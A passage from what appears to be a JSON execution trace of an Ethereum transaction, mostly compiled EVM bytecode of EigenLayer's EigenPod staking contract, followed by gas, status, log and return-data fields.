71660208301528416918101919091526001600160a01b038416907f8a7335714231dbd551aaba6314f4a97a14c201e53a3e25e1140325cdf67d7a4e9060600160405180910390a2603880548391906000906146319084906001600160401b031661581a565b92506101000a8154816001600160401b0302191690836001600160401b031602179055506040518060400160405280836001600160401b0316815260200160008152509050949350505050565b6000835160001415801561469d57506020845161469b9190615738565b155b61472c5760405162461bcd60e51b815260206004820152605460248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f665368613260448201527f35363a2070726f6f66206c656e6774682073686f756c642062652061206e6f6e60648201527316bd32b9379036bab63a34b836329037b310199960611b608482015260a4016106a4565b604080516020808201909252848152905b855181116147c357614750600285615738565b600003614786578151600052808601516020526020826040600060026107d05a03fa61477b57600080fd5b6002840493506147b1565b8086015160005281516020526020826040600060026107d05a03fa6147aa57600080fd5b6002840493505b6147bc602082614c64565b905061473d565b5051949350505050565b60f881901c60e882901c61ff00161760d882901c62ff0000161760c882901c63ff000000161764ff0000000060b883901c161765ff000000000060a883901c161766ff000000000000609883901c161767ff0000000000000060889290921c919091161790565b60008060028351614845919061574c565b90506000816001600160401b03811115614861576148616150b9565b60405190808252806020026020018201604052801561488a578160200160208202803683370190505b50905060005b82811015614987576002856148a583836157a0565b815181106148b5576148b5615517565b6020026020010151868360026148cb91906157a0565b6148d6906001614c64565b815181106148e6576148e6615517565b6020026020010151604051602001614908929190918252602082015260400190565b60408051601f1981840301815290829052614922916158a5565b602060405180830381855afa15801561493f573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061496291906154b8565b82828151811061497457614974615517565b6020908102919091010152600101614890565b5061499360028361574c565b91505b8115614aa95760005b82811015614a96576002826149b483836157a0565b815181106149c4576149c4615517565b6020026020010151838360026149da91906157a0565b6149e5906001614c64565b815181106149f5576149f5615517565b6020026020010151604051602001614a17929190918252602082015260400190565b60408051601f1981840301815290829052614a31916158a5565b602060405180830381855afa158015614a4e573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190614a7191906154b8565b828281518110614a8357614a83615517565b602090810291909101015260010161499f565b50614aa260028361574c565b9150614996565b80600081518110614abc57614abc615517565b602002602001015192505050919050565b6060614adc8484600085614ae4565b949350505050565b606082471015614b455760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b60648201526084016106a4565b6001600160a01b0385163b614b9c5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016106a4565b600080866001600160a01b03168587604051614bb891906158a5565b60006040518083038185875af1925050503d8060008114614bf5576040519150601f19603f3d011682016040523d82523d6000602084013e614bfa565b606091505b5091509150614c0a828286614c15565b979650505050505050565b60608315614c245750816136fd565b825115614c345782518084602001fd5b8160405162461bcd60e51b81526004016106a49190615bdc565b634e487b7160e01b600052601160045260246000fd5b80820180821115610d0457610d04614c4e565b6001600160401b038116811461200057600080fd5b8035614c9781614c77565b919050565b60008060408385031215614caf57600080fd5b823591506020830135614cc181614c77565b809150509250929050565b600060408284031215614cde57600080fd5b50919050565b60008083601f840112614cf657600080fd5b5081356001600160401b03811115614d0d57600080fd5b6020830191508360208260051b8501011115614d2857600080fd5b9250929050565b60008060008060008060008060a0898b031215614d4b57600080fd5b8835614d5681614c77565b975060208901356001600160401b03811115614d7157600080fd5b614d7d8b828c01614ccc565b97505060408901356001600160401b03811115614d9957600080fd5b614da58b828c01614ce4565b90975095505060608901356001600160401b03811115614dc457600080fd5b614dd08b828c01614ce4565b90955093505060808901356001600160401b03811115614def57600080fd5b614dfb8b828c01614ce4565b999c989b5096995094979396929594505050565b60008083601f840112614e2157600080fd5b5081356001600160401b03811115614e3857600080fd5b602083019150836020828501011115614d2857600080fd5b60008060208385031215614e6357600080fd5b82356001600160401b03811115614e7957600080fd5b614e8585828601614e0f565b90969095509350505050565b634e487b7160e01b600052602160045260246000fd5b60038110614ec557634e487b7160e01b600052602160045260246000fd5b9052565b60208101610d048284614ea7565b600060208284031215614ee957600080fd5b5035919050565b60006080820190506001600160401b0383511682526001600160401b0360208401511660208301526001600160401b0360408401511660408301526060830151614f3d6060840182614ea7565b5092915050565b600080600080600060608688031215614f5c57600080fd5b85356001600160401b03811115614f7257600080fd5b614f7e88828901614e0f565b90965094505060208601356001600160401b03811115614f9d57600080fd5b614fa988828901614e0f565b96999598509660400135949350505050565b60008060008060008060008060a0898b031215614fd757600080fd5b8835614fe281614c77565b975060208901356001600160401b03811115614ffd57600080fd5b6150098b828c01614ce4565b90985096505060408901356001600160401b0381111561502857600080fd5b6150348b828c01614ccc565b95505060608901356001600160401b03811115614dc457600080fd5b6001600160a01b038116811461200057600080fd5b8035614c9781615050565b6000806040838503121561508357600080fd5b823561508e81615050565b946020939093013593505050565b6000602082840312156150ae57600080fd5b81356136fd81615050565b634e487b7160e01b600052604160045260246000fd5b60405161018081016001600160401b03811182821017156150f2576150f26150b9565b60405290565b604051601f8201601f191681016001600160401b0381118282101715615120576151206150b9565b604052919050565b60006001600160401b03821115615141576151416150b9565b5060051b60200190565b600082601f83011261515c57600080fd5b813561516f61516a82615128565b6150f8565b8082825260208201915060208360051b86010192508583111561519157600080fd5b602085015b838110156151ae578035835260209283019201615196565b5095945050505050565b6000806000606084860312156151cd57600080fd5b83356001600160401b038111156151e357600080fd5b8401601f810186136151f457600080fd5b803561520261516a82615128565b8082825260208201915060208360051b85010192508883111561522457600080fd5b6020840193505b8284101561524f57833561523e81615050565b82526020938401939091019061522b565b955050505060208401356001600160401b0381111561526d57600080fd5b6152798682870161514b565b92505061528860408501615065565b90509250925092565b60008060008060008060008060008060c08b8d0312156152b057600080fd5b6152b98b614c8c565b995060208b01356001600160401b038111156152d457600080fd5b6152e08d828e01614ccc565b99505060408b01356001600160401b038111156152fc57600080fd5b6153088d828e01614ce4565b90995097505060608b01356001600160401b0381111561532757600080fd5b6153338d828e01614ce4565b90975095505060808b01356001600160401b0381111561535257600080fd5b61535e8d828e01614ce4565b90955093505060a08b01356001600160401b0381111561537d57600080fd5b6153898d828e01614ce4565b915080935050809150509295989b9194979a5092959850565b6000602082840312156153b457600080fd5b815180151581146136fd57600080fd5b6020808252603e908201527f456967656e506f642e6f6e6c795768656e4e6f745061757365643a20696e646560408201527f782069732070617573656420696e20456967656e506f644d616e616765720000606082015260800190565b60208082526028908201527f456967656e506f642e6f6e6c79456967656e506f644f776e65723a206e6f74206040820152673837b227bbb732b960c11b606082015260800190565b6020808252602f908201527f456967656e506f642e6861734e6576657252657374616b65643a20726573746160408201526e1ada5b99c81a5cc8195b98589b1959608a1b606082015260800190565b6000602082840312156154ca57600080fd5b5051919050565b6000808335601e198436030181126154e857600080fd5b8301803591506001600160401b0382111561550257600080fd5b602001915036819003821315614d2857600080fd5b634e487b7160e01b600052603260045260246000fd5b60006020828403121561553f57600080fd5b813564ffffffffff811681146136fd57600080fd5b6000808335601e1984360301811261556b57600080fd5b8301803591506001600160401b0382111561558557600080fd5b6020019150600581901b3603821315614d2857600080fd5b60208082526031908201527f456967656e506f642e6f6e6c79456967656e506f644d616e616765723a206e6f6040820152703a1032b4b3b2b72837b226b0b730b3b2b960791b606082015260800190565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b60005b8381101561563257818101518382015260200161561a565b50506000910152565b60008151808452615653816020860160208601615617565b601f01601f19169290920160200192915050565b60808152600061567b60808301888a6155ee565b828103602084015261568d818861563b565b905082810360408401526156a28186886155ee565b915050826060830152979650505050505050565b602081526000614adc6020830184866155ee565b80820182811260008312801582168215821617156156ea576156ea614c4e565b505092915050565b80820260008212600160ff1b8414161561570e5761570e614c4e565b8181058314821517610d0457610d04614c4e565b634e487b7160e01b600052601260045260246000fd5b60008261574757615747615722565b500690565b60008261575b5761575b615722565b500490565b6001600160401b038281168282160390811115610d0457610d04614c4e565b6000823561017e1983360301811261579657600080fd5b9190910192915050565b8082028115828204841417610d0457610d04614c4e565b81810381811115610d0457610d04614c4e565b6001600160401b038181168382160290811690818114614f3d57614f3d614c4e565b60006001600160401b0383168061580557615805615722565b806001600160401b0384160491505092915050565b6001600160401b038181168382160190811115610d0457610d04614c4e565b80516020808301519190811015614cde5760001960209190910360031b1b16919050565b60006001820161586f5761586f614c4e565b5060010190565b60008351615888818460208801615617565b6001600160801b0319939093169190920190815260100192915050565b60008251615796818460208701615617565b600082601f8301126158c857600080fd5b81356001600160401b038111156158e1576158e16150b9565b6158f4601f8201601f19166020016150f8565b81815284602083860101111561590957600080fd5b816020850160208301376000918101602001919091529392505050565b6000610180823603121561593957600080fd5b6159416150cf565b82356001600160401b0381111561595757600080fd5b615963368286016158b7565b82525060208301356001600160401b0381111561597f57600080fd5b61598b368286016158b7565b60208301525060408301356001600160401b038111156159aa57600080fd5b6159b6368286016158b7565b60408301525060608301356001600160401b038111156159d557600080fd5b6159e1368286016158b7565b60608301525060808301356001600160401b03811115615a0057600080fd5b615a0c368286016158b7565b608083015250615a1e60a08401614c8c565b60a0820152615a2f60c08401614c8c565b60c0820152615a4060e08401614c8c565b60e082015261010083810135908201526101208084013590820152610140808401359082015261016092830135928101929092525090565b600060208284031215615a8a57600080fd5b81516136fd81614c77565b6001815b6001841115615ad057808504811115615ab457615ab4614c4e565b6001841615615ac257908102905b60019390931c928002615a99565b935093915050565b600082615ae757506001610d04565b81615af457506000610d04565b8160018114615b0a5760028114615b1457615b30565b6001915050610d04565b60ff841115615b2557615b25614c4e565b50506001821b610d04565b5060208310610133831016604e8410600b8410161715615b53575081810a610d04565b615b606000198484615a95565b8060001904821115615b7457615b74614c4e565b029392505050565b60006136fd8383615ad8565b8181036000831280158383131683831282161715614f3d57614f3d614c4e565b600060208284031215615bba57600080fd5b81356136fd81614c77565b600081615bd457615bd4614c4e565b506000190190565b6020815260006136fd602083018461563b56fe426561636f6e436861696e50726f6f66732e7665726966795769746864726177a26469706673582212204b19fa9947cba29e97e68bf849da2e6bf42b15e660145561f6083ab4b30b3f0164736f6c634300081c0033","gas_used":4754434,"gas_limit":6306977,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x6080604052600436106101855760003560e01c806374cdd798116100d1578063c49074421161008a578063e251ef5211610064578063e251ef5214610563578063e2c8344514610583578063f2882461146105a3578063fe80b087146105d757600080fd5b8063c490744214610503578063c4d66de814610523578063dda3346c1461054357600080fd5b806374cdd7981461044057806387e0d289146104745780639b4e46341461049b578063a50600f4146104ae578063b522538a146104ce578063baa7145a146104ee57600080fd5b806334bea20a1161013e57806358eaee791161011857806358eaee791461038f5780635d3f65b6146103bc5780636fcd0e53146103dc5780637439841f1461040957600080fd5b806334bea20a146103005780633f65cf191461033b5780634665bcda1461035b57600080fd5b80630b18ff66146101db5780630cd4649e146102185780631a5057be1461022f5780631d905d5c146102635780633106ab53146102af5780633474aa16146102e057600080fd5b366101d657346037600082825461019c9190614c64565b90915550506040513481527f6fdd3dbdb173299608c0aa9f368735857c8842b581f8389238bf05bd04b3bf499060200160405180910390a1005b600080fd5b3480156101e757600080fd5b506033546101fb906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561022457600080fd5b5061022d6105fb565b005b34801561023b57600080fd5b506101fb7f0000000000000000000000008a791620dd6260079bf849dc5567adc3f2fdc31881565b34801561026f57600080fd5b506102977f000000000000000000000000000000000000000000000000000000077359400081565b6040516001600160401b03909116815260200161020f565b3480156102bb57600080fd5b506034546102d090600160401b900460ff1681565b604051901515815260200161020f565b3480156102ec57600080fd5b50603454610297906001600160401b031681565b34801561030c57600080fd5b506102d061031b366004614c9c565b603560209081526000928352604080842090915290825290205460ff1681565b34801561034757600080fd5b5061022d610356366004614d2f565b610764565b34801561036757600080fd5b506101fb7f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b34801561039b57600080fd5b506103af6103aa366004614e50565b610ca5565b60405161020f9190614ec9565b3480156103c857600080fd5b50603854610297906001600160401b031681565b3480156103e857600080fd5b506103fc6103f7366004614ed7565b610d0a565b60405161020f9190614ef0565b34801561041557600080fd5b506103af610424366004614ed7565b600090815260366020526040902054600160c01b900460ff1690565b34801561044c57600080fd5b506101fb7f000000000000000000000000424242424242424242424242424242424242424281565b34801561048057600080fd5b5060335461029790600160a01b90046001600160401b031681565b61022d6104a9366004614f44565b610db7565b3480156104ba57600080fd5b5061022d6104c9366004614fbb565b610f64565b3480156104da57600080fd5b506103fc6104e9366004614e50565b6112f0565b3480156104fa57600080fd5b5061022d6113e3565b34801561050f57600080fd5b5061022d61051e366004615070565b61144e565b34801561052f57600080fd5b5061022d61053e36600461509c565b61168b565b34801561054f57600080fd5b5061022d61055e3660046151b8565b611863565b34801561056f57600080fd5b5061022d61057e366004615291565b611a2c565b34801561058f57600080fd5b5061022d61059e366004615070565b611dec565b3480156105af57600080fd5b506102977f000000000000000000000000000000000000000000000000000000006059f46081565b3480156105e357600080fd5b506105ed60375481565b60405190815260200161020f565b604051635ac86ab760e01b8152600260048201819052907f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b031690635ac86ab790602401602060405180830381865afa158015610663573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068791906153a2565b156106ad5760405162461bcd60e51b81526004016106a4906153c4565b60405180910390fd5b6033546001600160a01b031633146106d75760405162461bcd60e51b81526004016106a490615421565b603454600160401b900460ff16156107015760405162461bcd60e51b81526004016106a490615469565b6034805460ff60401b1916600160401b179055603354610729906001600160a01b0316611fcf565b6033546040516001600160a01b03909116907fca8dfc8c5e0a67a74501c072a3325f685259bebbae7cfd230ab85198a78b70cd90600090a250565b6033546001600160a01b0316331461078e5760405162461bcd60e51b81526004016106a490615421565b604051635ac86ab760e01b8152600260048201819052907f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b031690635ac86ab790602401602060405180830381865afa1580156107f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081a91906153a2565b156108375760405162461bcd60e51b81526004016106a4906153c4565b603454600160401b900460ff166108af5760405162461bcd60e51b815260206004820152603660248201527f456967656e506f642e686173456e61626c656452657374616b696e673a2072656044820152751cdd185ada5b99c81a5cc81b9bdd08195b98589b195960521b60648201526084016106a4565b85841480156108bd57508382145b61094d5760405162461bcd60e51b815260206004820152605560248201527f456967656e506f642e7665726966795769746864726177616c43726564656e7460448201527f69616c733a2076616c696461746f72496e646963657320616e642070726f6f666064820152740e640daeae6e840c4ca40e6c2daca40d8cadccee8d605b1b608482015260a4016106a4565b603354600160a01b90046001600160401b031615806109a2575060335461098c9061098790600160a01b90046001600160401b0316612003565b6120ed565b6001600160401b0316896001600160401b031610155b610a2e5760405162461bcd60e51b815260206004820152605160248201527f456967656e506f642e7665726966795769746864726177616c43726564656e7460448201527f69616c733a2070726f6f66206d75737420626520696e207468652065706f63686064820152701030b33a32b91030b1ba34bb30ba34b7b760791b608482015260a4016106a4565b42610a44613f486001600160401b038c16614c64565b1015610acd5760405162461bcd60e51b815260206004820152604c60248201527f456967656e506f642e7665726966795769746864726177616c43726564656e7460448201527f69616c733a207370656369666965642074696d657374616d7020697320746f6f60648201526b0819985c881a5b881c185cdd60a21b608482015260a4016106a4565b60405163d1c64cc960e01b81526001600160401b038a166004820152610b76907f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b03169063d1c64cc990602401602060405180830381865afa158015610b3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6291906154b8565b8935610b7160208c018c6154d1565b61213a565b6000805b87811015610c1057610bfc8b8b358b8b85818110610b9a57610b9a615517565b9050602002016020810190610baf919061552d565b8a8a86818110610bc157610bc1615517565b9050602002810190610bd391906154d1565b8a8a88818110610be557610be5615517565b9050602002810190610bf79190615554565b6122c8565b610c069083614c64565b9150600101610b7a565b5060335460405163030b147160e61b81526001600160a01b039182166004820152602481018390527f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe69091169063c2c51c40906044015b600060405180830381600087803b158015610c8157600080fd5b505af1158015610c95573d6000803e3d6000fd5b5050505050505050505050505050565b600080610ce784848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061278292505050565b600090815260366020526040902054600160c01b900460ff169150505b92915050565b610d326040805160808101825260008082526020820181905291810182905290606082015290565b600082815260366020908152604091829020825160808101845281546001600160401b038082168352600160401b8204811694830194909452600160801b810490931693810193909352906060830190600160c01b900460ff166002811115610d9d57610d9d614e91565b6002811115610dae57610dae614e91565b90525092915050565b336001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe61614610dff5760405162461bcd60e51b81526004016106a49061559d565b346801bc16d674ec80000014610e8b5760405162461bcd60e51b8152602060048201526044602482018190527f456967656e506f642e7374616b653a206d75737420696e697469616c6c792073908201527f74616b6520666f7220616e792076616c696461746f72207769746820333220656064820152633a3432b960e11b608482015260a4016106a4565b7f00000000000000000000000042424242424242424242424242424242424242426001600160a01b031663228951186801bc16d674ec8000008787610ece61287c565b8888886040518863ffffffff1660e01b8152600401610ef296959493929190615667565b6000604051808303818588803b158015610f0b57600080fd5b505af1158015610f1f573d6000803e3d6000fd5b50505050507f606865b7934a25d4aed43f6cdb426403353fa4b3009c4d228407474581b01e238585604051610f559291906156b6565b60405180910390a15050505050565b604051635ac86ab760e01b8152600360048201819052907f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b031690635ac86ab790602401602060405180830381865afa158015610fcc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff091906153a2565b1561100d5760405162461bcd60e51b81526004016106a4906153c4565b868414801561101b57508382145b6110a45760405162461bcd60e51b815260206004820152604e60248201527f456967656e506f642e76657269667942616c616e6365557064617465733a207660448201527f616c696461746f72496e646963657320616e642070726f6f6673206d7573742060648201526d0c4ca40e6c2daca40d8cadccee8d60931b608482015260a4016106a4565b426110ba613f486001600160401b038c16614c64565b101561113c5760405162461bcd60e51b815260206004820152604560248201527f456967656e506f642e76657269667942616c616e6365557064617465733a207360448201527f70656369666965642074696d657374616d7020697320746f6f2066617220696e606482015264081c185cdd60da1b608482015260a4016106a4565b60405163d1c64cc960e01b81526001600160401b038a1660048201526111e0907f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b03169063d1c64cc990602401602060405180830381865afa1580156111ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d191906154b8565b8735610b7160208a018a6154d1565b6000805b8881101561127a576112668b8b8b8481811061120257611202615517565b9050602002016020810190611217919061552d565b8a358a8a8681811061122b5761122b615517565b905060200281019061123d91906154d1565b8a8a8881811061124f5761124f615517565b90506020028101906112619190615554565b6128c1565b61127090836156ca565b91506001016111e4565b506033546001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681169163c2c51c4091166112bf633b9aca00856156f2565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401610c67565b6113186040805160808101825260008082526020820181905291810182905290606082015290565b6036600061135b85858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061278292505050565b81526020808201929092526040908101600020815160808101835281546001600160401b038082168352600160401b8204811695830195909552600160801b81049094169281019290925290916060830190600160c01b900460ff1660028111156113c8576113c8614e91565b60028111156113d9576113d9614e91565b9052509392505050565b6033546001600160a01b0316331461140d5760405162461bcd60e51b81526004016106a490615421565b603454600160401b900460ff16156114375760405162461bcd60e51b81526004016106a490615469565b60335461144c906001600160a01b0316611fcf565b565b336001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616146114965760405162461bcd60e51b81526004016106a49061559d565b6114a4633b9aca0082615738565b1561152e5760405162461bcd60e51b815260206004820152604e60248201527f456967656e506f642e776974686472617752657374616b6564426561636f6e4360448201527f6861696e4554483a20616d6f756e74576569206d75737420626520612077686f60648201526d1b194811ddd95a48185b5bdd5b9d60921b608482015260a4016106a4565b600061153e633b9aca008361574c565b6034549091506001600160401b0390811690821611156115f75760405162461bcd60e51b815260206004820152606260248201527f456967656e506f642e776974686472617752657374616b6564426561636f6e4360448201527f6861696e4554483a20616d6f756e74477765692065786365656473207769746860648201527f6472617761626c6552657374616b6564457865637574696f6e4c617965724777608482015261656960f01b60a482015260c4016106a4565b603480548291906000906116159084906001600160401b0316615760565b92506101000a8154816001600160401b0302191690836001600160401b03160217905550826001600160a01b03167f8947fd2ce07ef9cc302c4e8f0461015615d91ce851564839e91cc804c2f49d8e8360405161167491815260200190565b60405180910390a26116868383612d9f565b505050565b600054610100900460ff16158080156116ab5750600054600160ff909116105b806116c55750303b1580156116c5575060005460ff166001145b6117285760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016106a4565b6000805460ff19166001179055801561174b576000805461ff0019166101001790555b6001600160a01b0382166117be5760405162461bcd60e51b815260206004820152603460248201527f456967656e506f642e696e697469616c697a653a20706f644f776e65722063616044820152736e6e6f74206265207a65726f206164647265737360601b60648201526084016106a4565b603380546001600160a01b0384166001600160a01b031990911681179091556034805460ff60401b1916600160401b1790556040517fca8dfc8c5e0a67a74501c072a3325f685259bebbae7cfd230ab85198a78b70cd90600090a2801561185f576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b6033546001600160a01b0316331461188d5760405162461bcd60e51b81526004016106a490615421565b604051635ac86ab760e01b8152600560048201819052907f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b031690635ac86ab790602401602060405180830381865afa1580156118f5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061191991906153a2565b156119365760405162461bcd60e51b81526004016106a4906153c4565b82518451146119c15760405162461bcd60e51b815260206004820152604b60248201527f456967656e506f642e7265636f766572546f6b656e733a20746f6b656e4c697360448201527f7420616e6420616d6f756e7473546f5769746864726177206d7573742062652060648201526a0e6c2daca40d8cadccee8d60ab1b608482015260a4016106a4565b60005b8451811015611a2557611a1d838583815181106119e3576119e3615517565b60200260200101518784815181106119fd576119fd615517565b60200260200101516001600160a01b0316612da99092919063ffffffff16565b6001016119c4565b5050505050565b604051635ac86ab760e01b81526004808201819052907f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b031690635ac86ab790602401602060405180830381865afa158015611a93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ab791906153a2565b15611ad45760405162461bcd60e51b81526004016106a4906153c4565b8386148015611ae257508588145b8015611aed57508782145b611b61576040805162461bcd60e51b81526020600482015260248101919091527f456967656e506f642e766572696679416e6450726f636573735769746864726160448201527f77616c733a20696e70757473206d7573742062652073616d65206c656e67746860648201526084016106a4565b60405163d1c64cc960e01b81526001600160401b038c166004820152611c05907f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b03169063d1c64cc990602401602060405180830381865afa158015611bd2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bf691906154b8565b8b35610b7160208e018e6154d1565b604080518082019091526000808252602082015260005b83811015611cfa576000611cc08d358d8d85818110611c3d57611c3d615517565b9050602002810190611c4f919061577f565b8c8c86818110611c6157611c61615517565b9050602002810190611c7391906154d1565b8c8c88818110611c8557611c85615517565b9050602002810190611c979190615554565b8c8c8a818110611ca957611ca9615517565b9050602002810190611cbb9190615554565b612dfb565b80518451919250908490611cd5908390614c64565b9052506020808201519084018051611cee9083906156ca565b90525050600101611c1c565b50805115611d29576033548151611d29916001600160a01b031690611d2490633b9aca00906157a0565b613372565b602081015115611dde5760335460208201516001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681169263c2c51c4092911690611d7f90633b9aca00906156f2565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b158015611dc557600080fd5b505af1158015611dd9573d6000803e3d6000fd5b505050505b505050505050505050505050565b6033546001600160a01b03163314611e165760405162461bcd60e51b81526004016106a490615421565b604051635ac86ab760e01b8152600560048201819052907f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b031690635ac86ab790602401602060405180830381865afa158015611e7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea291906153a2565b15611ebf5760405162461bcd60e51b81526004016106a4906153c4565b603754821115611f705760405162461bcd60e51b815260206004820152606a60248201527f456967656e506f642e77697468647261776e6f6e426561636f6e436861696e4560448201527f544842616c616e63655765693a20616d6f756e74546f5769746864726177206960648201527f732067726561746572207468616e206e6f6e426561636f6e436861696e45544860848201526942616c616e636557656960b01b60a482015260c4016106a4565b8160376000828254611f8291906157b7565b90915550506040518281526001600160a01b038416907f30420aacd028abb3c1fd03aba253ae725d6ddd52d16c9ac4cb5742cd43f530969060200160405180910390a26116868383613372565b6033805467ffffffffffffffff60a01b19164263ffffffff16600160a01b0217905560006037556120008147613372565b50565b60007f000000000000000000000000000000000000000000000000000000006059f4606001600160401b0316826001600160401b031610156120ad5760405162461bcd60e51b815260206004820152603760248201527f456967656e506f642e5f74696d657374616d70546f45706f63683a2074696d6560448201527f7374616d70206973206265666f72652067656e6573697300000000000000000060648201526084016106a4565b6120b9600c60206157ca565b6120e37f000000000000000000000000000000000000000000000000000000006059f46084615760565b610d0491906157ec565b60006120fb600c60206157ca565b61210683600161581a565b61211091906157ca565b610d04907f000000000000000000000000000000000000000000000000000000006059f46061581a565b612146600360206157a0565b81146121d65760405162461bcd60e51b815260206004820152605360248201527f426561636f6e436861696e50726f6f66732e7665726966795374617465526f6f60448201527f74416761696e73744c6174657374426c6f636b526f6f743a2050726f6f6620686064820152720c2e640d2dcc6dee4e4cac6e840d8cadccee8d606b1b608482015260a4016106a4565b61221b82828080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525088925087915060039050613400565b6122c25760405162461bcd60e51b815260206004820152606660248201527f426561636f6e436861696e50726f6f66732e7665726966795374617465526f6f60448201527f74416761696e73744c6174657374426c6f636b526f6f743a20496e76616c696460648201527f206c617465737420626c6f636b2068656164657220726f6f74206d65726b6c6560848201526510383937b7b360d11b60a482015260c4016106a4565b50505050565b60008061230784848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061341892505050565b6000818152603660209081526040808320815160808101835281546001600160401b038082168352600160401b8204811695830195909552600160801b8104909416928101929092529394509192906060830190600160c01b900460ff16600281111561237657612376614e91565b600281111561238757612387614e91565b90525090506000816060015160028111156123a4576123a4614e91565b1461244d5760405162461bcd60e51b815260206004820152606760248201527f456967656e506f642e766572696679436f72726563745769746864726177616c60448201527f43726564656e7469616c733a2056616c696461746f72206d757374206265206960648201527f6e61637469766520746f2070726f7665207769746864726177616c2063726564608482015266656e7469616c7360c81b60a482015260c4016106a4565b61245561287c565b61245e90615839565b61249a86868080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061343c92505050565b146125215760405162461bcd60e51b815260206004820152604b60248201527f456967656e506f642e766572696679436f72726563745769746864726177616c60448201527f43726564656e7469616c733a2050726f6f66206973206e6f7420666f7220746860648201526a1a5cc8115a59d95b941bd960aa1b608482015260a4016106a4565b600061255f86868080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061345192505050565b905061256f8a87878b8b8e613476565b6039805490600061257f8361585d565b90915550506001606083015264ffffffffff891682526001600160401b038b811660408401527f000000000000000000000000000000000000000000000000000000077359400081169082161115612605576001600160401b037f0000000000000000000000000000000000000000000000000000000773594000166020830152612615565b6001600160401b03811660208301525b6000838152603660209081526040918290208451815492860151938601516001600160401b03908116600160801b0267ffffffffffffffff60801b19958216600160401b026001600160801b0319909516919092161792909217928316821781556060850151859391929091839160ff60c01b191668ffffffffffffffffff60801b1990911617600160c01b8360028111156126b3576126b3614e91565b02179055505060405164ffffffffff8b1681527f2d0800bbc377ea54a08c5db6a87aafff5e3e9c8fead0eda110e40e0c10441449915060200160405180910390a17f0e5fac175b83177cc047381e030d8fb3b42b37bd1c025e22c280facad62c32df898c846020015160405161274e9392919064ffffffffff9390931683526001600160401b03918216602084015216604082015260600190565b60405180910390a1633b9aca0082602001516001600160401b031661277391906157a0565b9b9a5050505050505050505050565b6000815160301461280b5760405162461bcd60e51b815260206004820152604760248201527f456967656e506f642e5f63616c63756c61746556616c696461746f725075626b60448201527f657948617368206d75737420626520612034382d6279746520424c53207075626064820152666c6963206b657960c81b608482015260a4016106a4565b604051600290612822908490600090602001615876565b60408051601f198184030181529082905261283c916158a5565b602060405180830381855afa158015612859573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610d0491906154b8565b60408051600160f81b60208201526000602182015230606090811b6bffffffffffffffffffffffff1916602c8301529101604051602081830303815290604052905090565b60008061290084848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061345192505050565b9050600061294085858080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061341892505050565b6000818152603660209081526040808320815160808101835281546001600160401b038082168352600160401b8204811695830195909552600160801b8104909416928101929092529394509192906060830190600160c01b900460ff1660028111156129af576129af614e91565b60028111156129c0576129c0614e91565b8152505090508a6001600160401b031681604001516001600160401b031610612a775760405162461bcd60e51b815260206004820152605c60248201527f456967656e506f642e76657269667942616c616e63655570646174653a20566160448201527f6c696461746f72732062616c616e63652068617320616c72656164792062656560648201527f6e207570646174656420666f7220746869732074696d657374616d70000000006084820